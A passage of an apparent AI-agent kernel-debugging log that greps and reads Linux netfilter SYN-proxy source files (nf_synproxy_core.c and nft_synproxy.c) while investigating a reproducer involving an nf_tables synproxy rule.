net/netfilter/nf_synproxy_core.c:28:synproxy_parse_options(const struct sk_buff *skb, unsigned int doff,
net/netfilter/nf_synproxy_core.c:29: const struct tcphdr *th, struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-30-{
--
net/netfilter/nf_synproxy_core.c-94-}
net/netfilter/nf_synproxy_core.c:95:EXPORT_SYMBOL_GPL(synproxy_parse_options);
net/netfilter/nf_synproxy_core.c-96-
net/netfilter/nf_synproxy_core.c=97=static unsigned int
net/netfilter/nf_synproxy_core.c:98:synproxy_options_size(const struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-99-{
--
net/netfilter/nf_synproxy_core.c=114=static void
net/netfilter/nf_synproxy_core.c:115:synproxy_build_options(struct tcphdr *th, const struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-116-{
--
net/netfilter/nf_synproxy_core.c-151-
net/netfilter/nf_synproxy_core.c:152:void synproxy_init_timestamp_cookie(const struct nf_synproxy_info *info,
net/netfilter/nf_synproxy_core.c:153: struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-154-{
--
net/netfilter/nf_synproxy_core.c-169-}
net/netfilter/nf_synproxy_core.c:170:EXPORT_SYMBOL_GPL(synproxy_init_timestamp_cookie);
net/netfilter/nf_synproxy_core.c-171-
net/netfilter/nf_synproxy_core.c=172=static void
net/netfilter/nf_synproxy_core.c:173:synproxy_check_timestamp_cookie(struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-174-{
--
net/netfilter/nf_synproxy_core.c=184=static unsigned int
net/netfilter/nf_synproxy_core.c:185:synproxy_tstamp_adjust(struct sk_buff *skb, unsigned int protoff,
net/netfilter/nf_synproxy_core.c-186- struct tcphdr *th, struct nf_conn *ct,
net/netfilter/nf_synproxy_core.c-187- enum ip_conntrack_info ctinfo,
net/netfilter/nf_synproxy_core.c:188: const struct nf_conn_synproxy *synproxy)
net/netfilter/nf_synproxy_core.c-189-{
--
net/netfilter/nf_synproxy_core.c-192-
net/netfilter/nf_synproxy_core.c:193: if (synproxy->tsoff == 0)
net/netfilter/nf_synproxy_core.c-194- return 1;
--
net/netfilter/nf_synproxy_core.c-221- *ptr = htonl(ntohl(*ptr) -
net/netfilter/nf_synproxy_core.c:222: synproxy->tsoff);
net/netfilter/nf_synproxy_core.c-223- } else {
--
net/netfilter/nf_synproxy_core.c-226- *ptr = htonl(ntohl(*ptr) +
net/netfilter/nf_synproxy_core.c:227: synproxy->tsoff);
net/netfilter/nf_synproxy_core.c-228- }
--
net/netfilter/nf_synproxy_core.c-239-#ifdef CONFIG_PROC_FS
net/netfilter/nf_synproxy_core.c:240:static void *synproxy_cpu_seq_start(struct seq_file *seq, loff_t *pos)
net/netfilter/nf_synproxy_core.c-241-{
net/netfilter/nf_synproxy_core.c:242: struct synproxy_net *snet = synproxy_pernet(seq_file_net(seq));
net/netfilter/nf_synproxy_core.c-243- int cpu;
--
net/netfilter/nf_synproxy_core.c-257-
net/netfilter/nf_synproxy_core.c:258:static void *synproxy_cpu_seq_next(struct seq_file *seq, void *v, loff_t *pos)
net/netfilter/nf_synproxy_core.c-259-{
net/netfilter/nf_synproxy_core.c:260: struct synproxy_net *snet = synproxy_pernet(seq_file_net(seq));
net/netfilter/nf_synproxy_core.c-261- int cpu;
--
net/netfilter/nf_synproxy_core.c-272-
net/netfilter/nf_synproxy_core.c:273:static void synproxy_cpu_seq_stop(struct seq_file *seq, void *v)
net/netfilter/nf_synproxy_core.c-274-{
--
net/netfilter/nf_synproxy_core.c-277-
net/netfilter/nf_synproxy_core.c:278:static int synproxy_cpu_seq_show(struct seq_file *seq, void *v)
net/netfilter/nf_synproxy_core.c-279-{
net/netfilter/nf_synproxy_core.c:280: struct synproxy_stats *stats = v;
net/netfilter/nf_synproxy_core.c-281-
--
net/netfilter/nf_synproxy_core.c-298-
net/netfilter/nf_synproxy_core.c:299:static const struct seq_operations synproxy_cpu_seq_ops = {
net/netfilter/nf_synproxy_core.c:300: .start = synproxy_cpu_seq_start,
net/netfilter/nf_synproxy_core.c:301: .next = synproxy_cpu_seq_next,
net/netfilter/nf_synproxy_core.c:302: .stop = synproxy_cpu_seq_stop,
net/netfilter/nf_synproxy_core.c:303: .show = synproxy_cpu_seq_show,
net/netfilter/nf_synproxy_core.c-304-};
net/netfilter/nf_synproxy_core.c-305-
net/netfilter/nf_synproxy_core.c:306:static int __net_init synproxy_proc_init(struct net *net)
net/netfilter/nf_synproxy_core.c-307-{
net/netfilter/nf_synproxy_core.c:308: if (!proc_create_net("synproxy", 0444, net->proc_net_stat,
net/netfilter/nf_synproxy_core.c:309: &synproxy_cpu_seq_ops, sizeof(struct seq_net_private)))
net/netfilter/nf_synproxy_core.c-310- return -ENOMEM;
--
net/netfilter/nf_synproxy_core.c-313-
net/netfilter/nf_synproxy_core.c:314:static void __net_exit synproxy_proc_exit(struct net *net)
net/netfilter/nf_synproxy_core.c-315-{
net/netfilter/nf_synproxy_core.c:316: remove_proc_entry("synproxy", net->proc_net_stat);
net/netfilter/nf_synproxy_core.c-317-}
net/netfilter/nf_synproxy_core.c-318-#else
net/netfilter/nf_synproxy_core.c:319:static int __net_init synproxy_proc_init(struct net *net)
net/netfilter/nf_synproxy_core.c-320-{
--
net/netfilter/nf_synproxy_core.c-323-
net/netfilter/nf_synproxy_core.c:324:static void __net_exit synproxy_proc_exit(struct net *net)
net/netfilter/nf_synproxy_core.c-325-{
--
net/netfilter/nf_synproxy_core.c-329-
net/netfilter/nf_synproxy_core.c:330:static int __net_init synproxy_net_init(struct net *net)
net/netfilter/nf_synproxy_core.c-331-{
net/netfilter/nf_synproxy_core.c:332: struct synproxy_net *snet = synproxy_pernet(net);
net/netfilter/nf_synproxy_core.c-333- struct nf_conn *ct;
--
net/netfilter/nf_synproxy_core.c-341- goto err2;
net/netfilter/nf_synproxy_core.c:342: if (!nfct_synproxy_ext_add(ct))
net/netfilter/nf_synproxy_core.c-343- goto err2;
--
net/netfilter/nf_synproxy_core.c-347-
net/netfilter/nf_synproxy_core.c:348: snet->stats = alloc_percpu(struct synproxy_stats);
net/netfilter/nf_synproxy_core.c-349- if (snet->stats == NULL)
--
net/netfilter/nf_synproxy_core.c-351-
net/netfilter/nf_synproxy_core.c:352: err = synproxy_proc_init(net);
net/netfilter/nf_synproxy_core.c-353- if (err < 0)
--
net/netfilter/nf_synproxy_core.c-365-
net/netfilter/nf_synproxy_core.c:366:static void __net_exit synproxy_net_exit(struct net *net)
net/netfilter/nf_synproxy_core.c-367-{
net/netfilter/nf_synproxy_core.c:368: struct synproxy_net *snet = synproxy_pernet(net);
net/netfilter/nf_synproxy_core.c-369-
net/netfilter/nf_synproxy_core.c-370- nf_ct_put(snet->tmpl);
net/netfilter/nf_synproxy_core.c:371: synproxy_proc_exit(net);
net/netfilter/nf_synproxy_core.c-372- free_percpu(snet->stats);
--
net/netfilter/nf_synproxy_core.c-374-
net/netfilter/nf_synproxy_core.c:375:static struct pernet_operations synproxy_net_ops = {
net/netfilter/nf_synproxy_core.c:376: .init = synproxy_net_init,
net/netfilter/nf_synproxy_core.c:377: .exit = synproxy_net_exit,
net/netfilter/nf_synproxy_core.c:378: .id = &synproxy_net_id,
net/netfilter/nf_synproxy_core.c:379: .size = sizeof(struct synproxy_net),
net/netfilter/nf_synproxy_core.c-380-};
net/netfilter/nf_synproxy_core.c-381-
net/netfilter/nf_synproxy_core.c:382:static int __init synproxy_core_init(void)
net/netfilter/nf_synproxy_core.c-383-{
net/netfilter/nf_synproxy_core.c:384: return register_pernet_subsys(&synproxy_net_ops);
net/netfilter/nf_synproxy_core.c-385-}
net/netfilter/nf_synproxy_core.c-386-
net/netfilter/nf_synproxy_core.c:387:static void __exit synproxy_core_exit(void)
net/netfilter/nf_synproxy_core.c-388-{
net/netfilter/nf_synproxy_core.c:389: unregister_pernet_subsys(&synproxy_net_ops);
net/netfilter/nf_synproxy_core.c-390-}
net/netfilter/nf_synproxy_core.c-391-
net/netfilter/nf_synproxy_core.c:392:module_init(synproxy_core_init);
net/netfilter/nf_synproxy_core.c:393:module_exit(synproxy_core_exit);
net/netfilter/nf_synproxy_core.c-394-
net/netfilter/nf_synproxy_core.c=395=static struct iphdr *
net/netfilter/nf_synproxy_core.c:396:synproxy_build_ip(struct net *net, struct sk_buff *skb, __be32 saddr,
net/netfilter/nf_synproxy_core.c-397- __be32 daddr)
--
net/netfilter/nf_synproxy_core.c=417=static void
net/netfilter/nf_synproxy_core.c:418:synproxy_send_tcp(struct net *net,
net/netfilter/nf_synproxy_core.c-419- const struct sk_buff *skb, struct sk_buff *nskb,
--
net/netfilter/nf_synproxy_core.c=446=void
net/netfilter/nf_synproxy_core.c:447:synproxy_send_client_synack(struct net *net,
net/netfilter/nf_synproxy_core.c-448- const struct sk_buff *skb, const struct tcphdr *th,
net/netfilter/nf_synproxy_core.c:449: const struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-450-{
--
net/netfilter/nf_synproxy_core.c-458-
net/netfilter/nf_synproxy_core.c:459: tcp_hdr_size = sizeof(*nth) + synproxy_options_size(opts);
net/netfilter/nf_synproxy_core.c-460- nskb = alloc_skb(sizeof(*niph) + tcp_hdr_size + MAX_TCP_HEADER,
--
net/netfilter/nf_synproxy_core.c-465-
net/netfilter/nf_synproxy_core.c:466: niph = synproxy_build_ip(net, nskb, iph->daddr, iph->saddr);
net/netfilter/nf_synproxy_core.c-467-
--
net/netfilter/nf_synproxy_core.c-481-
net/netfilter/nf_synproxy_core.c:482: synproxy_build_options(nth, opts);
net/netfilter/nf_synproxy_core.c-483-
net/netfilter/nf_synproxy_core.c:484: synproxy_send_tcp(net, skb, nskb, skb_nfct(skb),
net/netfilter/nf_synproxy_core.c-485- IP_CT_ESTABLISHED_REPLY, niph, nth, tcp_hdr_size);
net/netfilter/nf_synproxy_core.c-486-}
net/netfilter/nf_synproxy_core.c:487:EXPORT_SYMBOL_GPL(synproxy_send_client_synack);
net/netfilter/nf_synproxy_core.c-488-
net/netfilter/nf_synproxy_core.c=489=static void
net/netfilter/nf_synproxy_core.c:490:synproxy_send_server_syn(struct net *net,
net/netfilter/nf_synproxy_core.c-491- const struct sk_buff *skb, const struct tcphdr *th,
net/netfilter/nf_synproxy_core.c:492: const struct synproxy_options *opts, u32 recv_seq)
net/netfilter/nf_synproxy_core.c-493-{
net/netfilter/nf_synproxy_core.c:494: struct synproxy_net *snet = synproxy_pernet(net);
net/netfilter/nf_synproxy_core.c-495- struct sk_buff *nskb;
--
net/netfilter/nf_synproxy_core.c-501-
net/netfilter/nf_synproxy_core.c:502: tcp_hdr_size = sizeof(*nth) + synproxy_options_size(opts);
net/netfilter/nf_synproxy_core.c-503- nskb = alloc_skb(sizeof(*niph) + tcp_hdr_size + MAX_TCP_HEADER,
--
net/netfilter/nf_synproxy_core.c-508-
net/netfilter/nf_synproxy_core.c:509: niph = synproxy_build_ip(net, nskb, iph->saddr, iph->daddr);
net/netfilter/nf_synproxy_core.c-510-
--
net/netfilter/nf_synproxy_core.c-515- nth->seq = htonl(recv_seq - 1);
net/netfilter/nf_synproxy_core.c:516: /* ack_seq is used to relay our ISN to the synproxy hook to initialize
net/netfilter/nf_synproxy_core.c-517- * sequence number translation once a connection tracking entry exists.
--
net/netfilter/nf_synproxy_core.c-527-
net/netfilter/nf_synproxy_core.c:528: synproxy_build_options(nth, opts);
net/netfilter/nf_synproxy_core.c-529-
net/netfilter/nf_synproxy_core.c:530: synproxy_send_tcp(net, skb, nskb, &snet->tmpl->ct_general, IP_CT_NEW,
net/netfilter/nf_synproxy_core.c-531- niph, nth, tcp_hdr_size);
--
net/netfilter/nf_synproxy_core.c=534=static void
net/netfilter/nf_synproxy_core.c:535:synproxy_send_server_ack(struct net *net,
net/netfilter/nf_synproxy_core.c-536- const struct ip_ct_tcp *state,
net/netfilter/nf_synproxy_core.c-537- const struct sk_buff *skb, const struct tcphdr *th,
net/netfilter/nf_synproxy_core.c:538: const struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-539-{
--
net/netfilter/nf_synproxy_core.c-546-
net/netfilter/nf_synproxy_core.c:547: tcp_hdr_size = sizeof(*nth) + synproxy_options_size(opts);
net/netfilter/nf_synproxy_core.c-548- nskb = alloc_skb(sizeof(*niph) + tcp_hdr_size + MAX_TCP_HEADER,
--
net/netfilter/nf_synproxy_core.c-553-
net/netfilter/nf_synproxy_core.c:554: niph = synproxy_build_ip(net, nskb, iph->daddr, iph->saddr);
net/netfilter/nf_synproxy_core.c-555-
--
net/netfilter/nf_synproxy_core.c-567-
net/netfilter/nf_synproxy_core.c:568: synproxy_build_options(nth, opts);
net/netfilter/nf_synproxy_core.c-569-
net/netfilter/nf_synproxy_core.c:570: synproxy_send_tcp(net, skb, nskb, NULL, 0, niph, nth, tcp_hdr_size);
net/netfilter/nf_synproxy_core.c-571-}
--
net/netfilter/nf_synproxy_core.c=573=static void
net/netfilter/nf_synproxy_core.c:574:synproxy_send_client_ack(struct net *net,
net/netfilter/nf_synproxy_core.c-575- const struct sk_buff *skb, const struct tcphdr *th,
net/netfilter/nf_synproxy_core.c:576: const struct synproxy_options *opts)
net/netfilter/nf_synproxy_core.c-577-{
--
net/netfilter/nf_synproxy_core.c-584-
net/netfilter/nf_synproxy_core.c:585: tcp_hdr_size = sizeof(*nth) + synproxy_options_size(opts);
net/netfilter/nf_synproxy_core.c-586- nskb = alloc_skb(sizeof(*niph) + tcp_hdr_size + MAX_TCP_HEADER,
--
net/netfilter/nf_synproxy_core.c-591-
net/netfilter/nf_synproxy_core.c:592: niph = synproxy_build_ip(net, nskb, iph->saddr, iph->daddr);
net/netfilter/nf_synproxy_core.c-593-
--
net/netfilter/nf_synproxy_core.c-605-
net/netfilter/nf_synproxy_core.c:606: synproxy_build_options(nth, opts);
net/netfilter/nf_synproxy_core.c-607-
net/netfilter/nf_synproxy_core.c:608: synproxy_send_tcp(net, skb, nskb, skb_nfct(skb),
net/netfilter/nf_synproxy_core.c-609- IP_CT_ESTABLISHED_REPLY, niph, nth, tcp_hdr_size);
--
net/netfilter/nf_synproxy_core.c=612=bool
net/netfilter/nf_synproxy_core.c:613:synproxy_recv_client_ack(struct net *net,
net/netfilter/nf_synproxy_core.c-614- const struct sk_buff *skb, const struct tcphdr *th,
net/netfilter/nf_synproxy_core.c:615: struct synproxy_options *opts, u32 recv_seq)
net/netfilter/nf_synproxy_core.c-616-{
net/netfilter/nf_synproxy_core.c:617: struct synproxy_net *snet = synproxy_pernet(net);
net/netfilter/nf_synproxy_core.c-618- int mss;
--
net/netfilter/nf_synproxy_core.c-630- if (opts->options & NF_SYNPROXY_OPT_TIMESTAMP)
net/netfilter/nf_synproxy_core.c:631: synproxy_check_timestamp_cookie(opts);
net/netfilter/nf_synproxy_core.c-632-
net/netfilter/nf_synproxy_core.c:633: synproxy_send_server_syn(net, skb, th, opts, recv_seq);
net/netfilter/nf_synproxy_core.c-634- return true;
net/netfilter/nf_synproxy_core.c-635-}
net/netfilter/nf_synproxy_core.c:636:EXPORT_SYMBOL_GPL(synproxy_recv_client_ack);
net/netfilter/nf_synproxy_core.c-637-
net/netfilter/nf_synproxy_core.c=638=unsigned int
net/netfilter/nf_synproxy_core.c:639:ipv4_synproxy_hook(void *priv, struct sk_buff *skb,
net/netfilter/nf_synproxy_core.c-640- const struct nf_hook_state *nhs)
--
net/netfilter/nf_synproxy_core.c-642- struct net *net = nhs->net;
net/netfilter/nf_synproxy_core.c:643: struct synproxy_net *snet = synproxy_pernet(net);
net/netfilter/nf_synproxy_core.c-644- enum ip_conntrack_info ctinfo;
net/netfilter/nf_synproxy_core.c-645- struct nf_conn *ct;
net/netfilter/nf_synproxy_core.c:646: struct nf_conn_synproxy *synproxy;
net/netfilter/nf_synproxy_core.c:647: struct synproxy_options opts = {};
net/netfilter/nf_synproxy_core.c-648- const struct ip_ct_tcp *state;
--
net/netfilter/nf_synproxy_core.c-655-
net/netfilter/nf_synproxy_core.c:656: synproxy = nfct_synproxy(ct);
net/netfilter/nf_synproxy_core.c:657: if (!synproxy)
net/netfilter/nf_synproxy_core.c-658- return NF_ACCEPT;
--
net/netfilter/nf_synproxy_core.c-672- if (th->rst && CTINFO2DIR(ctinfo) != IP_CT_DIR_ORIGINAL) {
net/netfilter/nf_synproxy_core.c:673: nf_ct_seqadj_init(ct, ctinfo, synproxy->isn -
net/netfilter/nf_synproxy_core.c-674- ntohl(th->seq) + 1);
--
net/netfilter/nf_synproxy_core.c-686- nf_ct_seqadj_init(ct, ctinfo, 0);
net/netfilter/nf_synproxy_core.c:687: synproxy->tsoff = 0;
net/netfilter/nf_synproxy_core.c-688- this_cpu_inc(snet->stats->conn_reopened);
--
net/netfilter/nf_synproxy_core.c-690- case TCP_CONNTRACK_SYN_SENT:
net/netfilter/nf_synproxy_core.c:691: if (!synproxy_parse_options(skb, thoff, th, &opts))
net/netfilter/nf_synproxy_core.c-692- return NF_DROP;
--
net/netfilter/nf_synproxy_core.c-699- */
net/netfilter/nf_synproxy_core.c:700: if (synproxy_recv_client_ack(net, skb, th, &opts,
net/netfilter/nf_synproxy_core.c-701- ntohl(th->seq) + 1)) {
--
net/netfilter/nf_synproxy_core.c-709-
net/netfilter/nf_synproxy_core.c:710: synproxy->isn = ntohl(th->ack_seq);
net/netfilter/nf_synproxy_core.c-711- if (opts.options & NF_SYNPROXY_OPT_TIMESTAMP)
net/netfilter/nf_synproxy_core.c:712: synproxy->its = opts.tsecr;
net/netfilter/nf_synproxy_core.c-713-
--
net/netfilter/nf_synproxy_core.c-719-
net/netfilter/nf_synproxy_core.c:720: if (!synproxy_parse_options(skb, thoff, th, &opts))
net/netfilter/nf_synproxy_core.c-721- return NF_DROP;
--
net/netfilter/nf_synproxy_core.c-723- if (opts.options & NF_SYNPROXY_OPT_TIMESTAMP) {
net/netfilter/nf_synproxy_core.c:724: synproxy->tsoff = opts.tsval - synproxy->its;
net/netfilter/nf_synproxy_core.c-725- nf_conntrack_event_cache(IPCT_SYNPROXY, ct);
--
net/netfilter/nf_synproxy_core.c-732- swap(opts.tsval, opts.tsecr);
net/netfilter/nf_synproxy_core.c:733: synproxy_send_server_ack(net, state, skb, th, &opts);
net/netfilter/nf_synproxy_core.c-734-
net/netfilter/nf_synproxy_core.c:735: nf_ct_seqadj_init(ct, ctinfo, synproxy->isn - ntohl(th->seq));
net/netfilter/nf_synproxy_core.c-736- nf_conntrack_event_cache(IPCT_SEQADJ, ct);
--
net/netfilter/nf_synproxy_core.c-738- swap(opts.tsval, opts.tsecr);
net/netfilter/nf_synproxy_core.c:739: synproxy_send_client_ack(net, skb, th, &opts);
net/netfilter/nf_synproxy_core.c-740-
--
net/netfilter/nf_synproxy_core.c-746-
net/netfilter/nf_synproxy_core.c:747: synproxy_tstamp_adjust(skb, thoff, th, ct, ctinfo, synproxy);
net/netfilter/nf_synproxy_core.c-748- return NF_ACCEPT;
net/netfilter/nf_synproxy_core.c-749-}
net/netfilter/nf_synproxy_core.c:750:EXPORT_SYMBOL_GPL(ipv4_synproxy_hook);
net/netfilter/nf_synproxy_core.c-751-
net/netfilter/nf_synproxy_core.c:752:static const struct nf_hook_ops ipv4_synproxy_ops[] = {
net/netfilter/nf_synproxy_core.c-753- {
net/netfilter/nf_synproxy_core.c:754: .hook = ipv4_synproxy_hook,
net/netfilter/nf_synproxy_core.c-755- .pf = NFPROTO_IPV4,
--
net/netfilter/nf_synproxy_core.c-759- {
net/netfilter/nf_synproxy_core.c:760: .hook = ipv4_synproxy_hook,
net/netfilter/nf_synproxy_core.c-761- .pf = NFPROTO_IPV4,
--
net/netfilter/nf_synproxy_core.c-766-
net/netfilter/nf_synproxy_core.c:767:int nf_synproxy_ipv4_init(struct synproxy_net *snet, struct net *net)
net/netfilter/nf_synproxy_core.c-768-{
--
net/netfilter/nf_synproxy_core.c-771- if (snet->hook_ref4 == 0) {
net/netfilter/nf_synproxy_core.c:772: err = nf_register_net_hooks(net, ipv4_synproxy_ops,
net/netfilter/nf_synproxy_core.c:773: ARRAY_SIZE(ipv4_synproxy_ops));
net/netfilter/nf_synproxy_core.c-774- if (err)
--
net/netfilter/nf_synproxy_core.c-780-}
net/netfilter/nf_synproxy_core.c:781:EXPORT_SYMBOL_GPL(nf_synproxy_ipv4_init);
net/netfilter/nf_synproxy_core.c-782-
net/netfilter/nf_synproxy_core.c:783:void nf_synproxy_ipv4_fini(struct synproxy_net *snet, struct net *net)
net/netfilter/nf_synproxy_core.c-784-{
--
net/netfilter/nf_synproxy_core.c-786- if (snet->hook_ref4 == 0)
net/netfilter/nf_synproxy_core.c:787: nf_unregister_net_hooks(net, ipv4_synproxy_ops,
net/netfilter/nf_synproxy_core.c:788: ARRAY_SIZE(ipv4_synproxy_ops));
net/netfilter/nf_synproxy_core.c-789-}
net/netfilter/nf_synproxy_core.c:790:EXPORT_SYMBOL_GPL(nf_synproxy_ipv4_fini);
net/netfilter/nf_synproxy_core.c-791-
--
net/netfilter/nf_synproxy_core.c=793=static struct ipv6hdr *
net/netfilter/nf_synproxy_core.c:794:synproxy_build_ip_ipv6(struct net *net, struct sk_buff *skb,
net/netfilter/nf_synproxy_core.c-795- const struct in6_addr *saddr,
--
net/netfilter/nf_synproxy_core.c=811=static void
net/netfilter/nf_synproxy_core.c:812:synproxy_send_tcp_ipv6(struct net *net,
net/netfilter/nf_synproxy_core.c-813- const struct sk_buff *skb, struct sk_buff *nskb,
--
net/netfilter/nf_synproxy_core.c=858=void
]
|
| 10/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 23870
output: 38
thoughts: 36
Thoughts: Okay, let me think this through.
**Analyzing the `nf_tables` Issue and `nft_synproxy.c`**
Alright, hang on a second. This reproducer seems to be causing `nf_tables` to generate a new rule that includes a `synproxy` expression. That's the key. That tells me exactly where to start digging. Right, so I need to go straight to `nft_synproxy.c`. That's where the implementation for that expression will live, and that's where I need to understand what's happening. I need to see how the rule is being constructed, what conditions are being checked, and, ultimately, why this particular combination is causing an issue. Let's see what we can find.
|
| 11/2 |
2026/05/31 10:19 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nft_synproxy.c FirstLine:1 LineCount:100]
Results: map[Contents: 1: // SPDX-License-Identifier: GPL-2.0
2: #include <linux/types.h>
3: #include <net/ip.h>
4: #include <net/tcp.h>
5: #include <net/netlink.h>
6: #include <net/netfilter/nf_tables.h>
7: #include <net/netfilter/nf_conntrack.h>
8: #include <net/netfilter/nf_conntrack_synproxy.h>
9: #include <net/netfilter/nf_synproxy.h>
10: #include <linux/netfilter/nf_tables.h>
11: #include <linux/netfilter/nf_synproxy.h>
12:
13: struct nft_synproxy {
14: struct nf_synproxy_info info;
15: };
16:
17: static const struct nla_policy nft_synproxy_policy[NFTA_SYNPROXY_MAX + 1] = {
18: [NFTA_SYNPROXY_MSS] = { .type = NLA_U16 },
19: [NFTA_SYNPROXY_WSCALE] = { .type = NLA_U8 },
20: [NFTA_SYNPROXY_FLAGS] = { .type = NLA_U32 },
21: };
22:
23: static void nft_synproxy_tcp_options(struct synproxy_options *opts,
24: const struct tcphdr *tcp,
25: struct synproxy_net *snet,
26: struct nf_synproxy_info *info,
27: const struct nft_synproxy *priv)
28: {
29: this_cpu_inc(snet->stats->syn_received);
30: if (tcp->ece && tcp->cwr)
31: opts->options |= NF_SYNPROXY_OPT_ECN;
32:
33: opts->options &= priv->info.options;
34: opts->mss_encode = opts->mss_option;
35: opts->mss_option = info->mss;
36: if (opts->options & NF_SYNPROXY_OPT_TIMESTAMP)
37: synproxy_init_timestamp_cookie(info, opts);
38: else
39: opts->options &= ~(NF_SYNPROXY_OPT_WSCALE |
40: NF_SYNPROXY_OPT_SACK_PERM |
41: NF_SYNPROXY_OPT_ECN);
42: }
43:
44: static void nft_synproxy_eval_v4(const struct nft_synproxy *priv,
45: struct nft_regs *regs,
46: const struct nft_pktinfo *pkt,
47: const struct tcphdr *tcp,
48: struct tcphdr *_tcph,
49: struct synproxy_options *opts)
50: {
51: struct nf_synproxy_info info = priv->info;
52: struct net *net = nft_net(pkt);
53: struct synproxy_net *snet = synproxy_pernet(net);
54: struct sk_buff *skb = pkt->skb;
55:
56: if (tcp->syn) {
57: /* Initial SYN from client */
58: nft_synproxy_tcp_options(opts, tcp, snet, &info, priv);
59: synproxy_send_client_synack(net, skb, tcp, opts);
60: consume_skb(skb);
61: regs->verdict.code = NF_STOLEN;
62: } else if (tcp->ack) {
63: /* ACK from client */
64: if (synproxy_recv_client_ack(net, skb, tcp, opts,
65: ntohl(tcp->seq))) {
66: consume_skb(skb);
67: regs->verdict.code = NF_STOLEN;
68: } else {
69: regs->verdict.code = NF_DROP;
70: }
71: }
72: }
73:
74: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
75: static void nft_synproxy_eval_v6(const struct nft_synproxy *priv,
76: struct nft_regs *regs,
77: const struct nft_pktinfo *pkt,
78: const struct tcphdr *tcp,
79: struct tcphdr *_tcph,
80: struct synproxy_options *opts)
81: {
82: struct nf_synproxy_info info = priv->info;
83: struct net *net = nft_net(pkt);
84: struct synproxy_net *snet = synproxy_pernet(net);
85: struct sk_buff *skb = pkt->skb;
86:
87: if (tcp->syn) {
88: /* Initial SYN from client */
89: nft_synproxy_tcp_options(opts, tcp, snet, &info, priv);
90: synproxy_send_client_synack_ipv6(net, skb, tcp, opts);
91: consume_skb(skb);
92: regs->verdict.code = NF_STOLEN;
93: } else if (tcp->ack) {
94: /* ACK from client */
95: if (synproxy_recv_client_ack_ipv6(net, skb, tcp, opts,
96: ntohl(tcp->seq))) {
97: consume_skb(skb);
98: regs->verdict.code = NF_STOLEN;
99: } else {
100: regs->verdict.code = NF_DROP;
]
|
| 12/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 25720
output: 40
thoughts: 12
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Diving into `nft_synproxy_init`**
Okay, time to dig into `nft_synproxy_init`. I'm starting here because this is where the core initialization of the SYN proxy functionality within the Netfilter framework likely occurs. I need to refresh my understanding of where the state is set up and what resources are allocated. It's crucial to understand this initial setup before I can trace any issues or performance bottlenecks further down the line. I'm assuming it handles all the necessary registrations and hook setups. Let's see if this function reveals how the SYN cookies are initially configured, how the connection tracking aspects are established, and how the various Netfilter hooks are registered to intercept and process SYN packets. Understanding the initialization sequence is absolutely essential for diagnosing more complex problems later on.
|
| 13/2 |
2026/05/31 10:19 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nft_synproxy.c FirstLine:140 LineCount:100]
Results: map[Contents: 140: case htons(ETH_P_IP):
141: nft_synproxy_eval_v4(priv, regs, pkt, tcp, &_tcph, &opts);
142: return;
143: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
144: case htons(ETH_P_IPV6):
145: nft_synproxy_eval_v6(priv, regs, pkt, tcp, &_tcph, &opts);
146: return;
147: #endif
148: }
149: regs->verdict.code = NFT_BREAK;
150: }
151:
152: static int nft_synproxy_do_init(const struct nft_ctx *ctx,
153: const struct nlattr * const tb[],
154: struct nft_synproxy *priv)
155: {
156: struct synproxy_net *snet = synproxy_pernet(ctx->net);
157: u32 flags;
158: int err;
159:
160: if (tb[NFTA_SYNPROXY_MSS])
161: priv->info.mss = ntohs(nla_get_be16(tb[NFTA_SYNPROXY_MSS]));
162: if (tb[NFTA_SYNPROXY_WSCALE])
163: priv->info.wscale = nla_get_u8(tb[NFTA_SYNPROXY_WSCALE]);
164: if (tb[NFTA_SYNPROXY_FLAGS]) {
165: flags = ntohl(nla_get_be32(tb[NFTA_SYNPROXY_FLAGS]));
166: if (flags & ~NF_SYNPROXY_OPT_MASK)
167: return -EOPNOTSUPP;
168: priv->info.options = flags;
169: }
170:
171: err = nf_ct_netns_get(ctx->net, ctx->family);
172: if (err)
173: return err;
174:
175: switch (ctx->family) {
176: case NFPROTO_IPV4:
177: err = nf_synproxy_ipv4_init(snet, ctx->net);
178: if (err)
179: goto nf_ct_failure;
180: break;
181: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
182: case NFPROTO_IPV6:
183: err = nf_synproxy_ipv6_init(snet, ctx->net);
184: if (err)
185: goto nf_ct_failure;
186: break;
187: #endif
188: case NFPROTO_INET:
189: err = nf_synproxy_ipv4_init(snet, ctx->net);
190: if (err)
191: goto nf_ct_failure;
192: err = nf_synproxy_ipv6_init(snet, ctx->net);
193: if (err) {
194: nf_synproxy_ipv4_fini(snet, ctx->net);
195: goto nf_ct_failure;
196: }
197: break;
198: }
199:
200: return 0;
201:
202: nf_ct_failure:
203: nf_ct_netns_put(ctx->net, ctx->family);
204: return err;
205: }
206:
207: static void nft_synproxy_do_destroy(const struct nft_ctx *ctx)
208: {
209: struct synproxy_net *snet = synproxy_pernet(ctx->net);
210:
211: switch (ctx->family) {
212: case NFPROTO_IPV4:
213: nf_synproxy_ipv4_fini(snet, ctx->net);
214: break;
215: #if IS_ENABLED(CONFIG_NF_TABLES_IPV6)
216: case NFPROTO_IPV6:
217: nf_synproxy_ipv6_fini(snet, ctx->net);
218: break;
219: #endif
220: case NFPROTO_INET:
221: nf_synproxy_ipv4_fini(snet, ctx->net);
222: nf_synproxy_ipv6_fini(snet, ctx->net);
223: break;
224: }
225: nf_ct_netns_put(ctx->net, ctx->family);
226: }
227:
228: static int nft_synproxy_do_dump(struct sk_buff *skb, struct nft_synproxy *priv)
229: {
230: if (nla_put_be16(skb, NFTA_SYNPROXY_MSS, htons(priv->info.mss)) ||
231: nla_put_u8(skb, NFTA_SYNPROXY_WSCALE, priv->info.wscale) ||
232: nla_put_be32(skb, NFTA_SYNPROXY_FLAGS, htonl(priv->info.options)))
233: goto nla_put_failure;
234:
235: return 0;
236:
